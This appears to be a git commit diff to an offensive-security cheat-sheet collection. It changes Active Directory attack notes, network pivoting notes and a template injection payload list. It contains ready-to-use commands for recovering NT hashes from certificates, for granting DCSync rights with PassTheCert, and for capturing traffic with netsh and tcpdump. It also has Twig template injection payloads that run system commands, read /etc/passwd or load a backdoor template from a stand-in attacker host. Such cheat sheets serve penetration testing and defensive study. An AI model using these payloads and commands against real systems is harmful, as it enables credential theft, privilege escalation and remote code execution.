Capture a network trace with builtin tools

This commit is contained in:
Swissky 2022-08-15 15:02:29 +02:00
parent 55e05b4b17
commit 6650c361e7
3 changed files with 68 additions and 17 deletions

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@ -62,7 +62,6 @@
- [OverPass-the-Hash (pass the key)](#overpass-the-hash-pass-the-key)
- [Using impacket](#using-impacket)
- [Using Rubeus](#using-rubeus)
- [UnPAC The Hash](#unpac-the-hash)
- [Capturing and cracking Net-NTLMv1/NTLMv1 hashes](#capturing-and-cracking-net-ntlmv1ntlmv1-hashes)
- [Capturing and cracking Net-NTLMv2/NTLMv2 hashes](#capturing-and-cracking-net-ntlmv2ntlmv2-hashes)
- [Man-in-the-Middle attacks & relaying](#man-in-the-middle-attacks--relaying)
@ -84,6 +83,7 @@
- [ESC8 - AD CS Relay Attack](#esc8---ad-cs-relay-attack)
- [Certifried CVE-2022-26923](#certifried-cve-2022-26923)
- [Pass-The-Certificate](#pass-the-certificate)
- [UnPAC The Hash](#unpac-the-hash)
- [Shadow Credentials](#shadow-credentials)
- [Dangerous Built-in Groups Usage](#dangerous-built-in-groups-usage)
- [Abusing DNS Admins Group](#abusing-dns-admins-group)
@ -1915,21 +1915,6 @@ root@kali:~$ klist
.\Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /createnetonly:C:\Windows\System32\cmd.exe
```
### UnPAC The Hash
* Windows
```ps1
# request a ticket using a certificate and use /getcredentials to retrieve the NT hash in the PAC.
C:/> Rubeus.exe asktgt /getcredentials /user:"TARGET_SAMNAME" /certificate:"BASE64_CERTIFICATE" /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show
```
* Linux
```ps1
# obtain a TGT by validating a PKINIT pre-authentication
$ gettgtpkinit.py -cert-pfx "PATH_TO_CERTIFICATE" -pfx-pass "CERTIFICATE_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
# use the session key to recover the NT hash
$ export KRB5CCNAME="TGT_CCACHE_FILE" getnthash.py -key 'AS-REP encryption key' 'FQDN_DOMAIN'/'TARGET_SAMNAME'
```
### Capturing and cracking Net-NTLMv1/NTLMv1 hashes
@ -2516,6 +2501,8 @@ Require [Impacket PR #1101](https://github.com/SecureAuthCorp/impacket/pull/1101
#### Pass-The-Certificate
> Pass the Certificate in order to get a TGT, this technique is used in "UnPAC the Hash" and "Shadow Credential"
* Windows
```ps1
# Information about a cert file
@ -2523,6 +2510,11 @@ Require [Impacket PR #1101](https://github.com/SecureAuthCorp/impacket/pull/1101
# From a Base64 PFX
Rubeus.exe asktgt /user:"TARGET_SAMNAME" /certificate:cert.pfx /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show
# Grant DCSync rights to an user
./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --sid <user_SID>
# To restore
./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --restore restoration_file.txt
```
* Linux
```ps1
@ -2534,8 +2526,30 @@ Require [Impacket PR #1101](https://github.com/SecureAuthCorp/impacket/pull/1101
# PFX certificate (file) + password (string, optionnal)
gettgtpkinit.py -cert-pfx "PATH_TO_PFX_CERT" -pfx-pass "CERT_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
# Using Certipy
certipy auth -pfx "PATH_TO_PFX_CERT" -dc-ip 'dc-ip' -username 'user' -domain 'domain'
certipy cert -export -pfx "PATH_TO_PFX_CERT" -password "CERT_PASSWORD" -out "unprotected.pfx"
```
### UnPAC The Hash
Using the **UnPAC The Hash** method, you can retrieve the NT Hash for an User via its certificate.
* Windows
```ps1
# Request a ticket using a certificate and use /getcredentials to retrieve the NT hash in the PAC.
Rubeus.exe asktgt /getcredentials /user:"TARGET_SAMNAME" /certificate:"BASE64_CERTIFICATE" /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show
```
* Linux
```ps1
# Obtain a TGT by validating a PKINIT pre-authentication
$ gettgtpkinit.py -cert-pfx "PATH_TO_CERTIFICATE" -pfx-pass "CERTIFICATE_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
# Use the session key to recover the NT hash
$ export KRB5CCNAME="TGT_CCACHE_FILE" getnthash.py -key 'AS-REP encryption key' 'FQDN_DOMAIN'/'TARGET_SAMNAME'
```
### Shadow Credentials

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@ -20,6 +20,7 @@
* [RevSocks](#revsocks)
* [plink](#plink)
* [ngrok](#ngrok)
* [Capture a network trace with builtin tools](#capture-a-network-trace-with-builtin-tools)
* [Basic Pivoting Types](#basic-pivoting-types)
* [Listen - Listen](#listen---listen)
* [Listen - Connect](#listen---connect)
@ -410,7 +411,39 @@ tar xvzf cloudflared-stable-linux-amd64.tgz
# Expose accessible internal service to the internet
./cloudflared tunnel --url <protocol>://<host>:<port>
```
## Capture a network trace with builtin tools
* Windows (netsh)
```ps1
# start a capture use the netsh command.
netsh trace start capture=yes report=disabled tracefile=c:\trace.etl maxsize=16384
# stop the trace
netsh trace stop
# Event tracing can be also used across a reboots
netsh trace start capture=yes report=disabled persistent=yes tracefile=c:\trace.etl maxsize=16384
# To open the file in Wireshark you have to convert the etl file to the cap file format. Microsoft has written a convert for this task. Download the latest version.
etl2pcapng.exe c:\trace.etl c:\trace.pcapng
# Use filters
netsh trace start capture=yes report=disabled Ethernet.Type=IPv4 IPv4.Address=10.200.200.3 tracefile=c:\trace.etl maxsize=16384
```
* Linux (tcpdump)
```ps1
sudo apt-get install tcpdump
tcpdump -w 0001.pcap -i eth0
tcpdump -A -i eth0
# capture every TCP packet
tcpdump -i eth0 tcp
# capture everything on port 22
tcpdump -i eth0 port 22
```
## Basic Pivoting Types
@ -456,3 +489,4 @@ tar xvzf cloudflared-stable-linux-amd64.tgz
* 🇫🇷 [Etat de lart du pivoting réseau en 2019 - Oct 28,2019 - Alexandre ZANNI](https://cyberdefense.orange.com/fr/blog/etat-de-lart-du-pivoting-reseau-en-2019/) - 🇺🇸 [Overview of network pivoting and tunneling [2022 updated] - Alexandre ZANNI](https://blog.raw.pm/en/state-of-the-art-of-network-pivoting-in-2019/)
* [Red Team: Using SharpChisel to exfil internal network - Shantanu Khandelwal - Jun 8](https://medium.com/@shantanukhande/red-team-using-sharpchisel-to-exfil-internal-network-e1b07ed9b49)
* [Active Directory - hideandsec](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory)
* [Windows: Capture a network trace with builtin tools (netsh) - February 22, 2021 Michael Albert](https://michlstechblog.info/blog/windows-capture-a-network-trace-with-builtin-tools-netsh/)

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@ -829,6 +829,9 @@ $output = $twig > render (
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}
{{[0]|reduce('system','id')}}
{{['id']|map('system')|join}}
{{['id',1]|sort('system')|join}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
```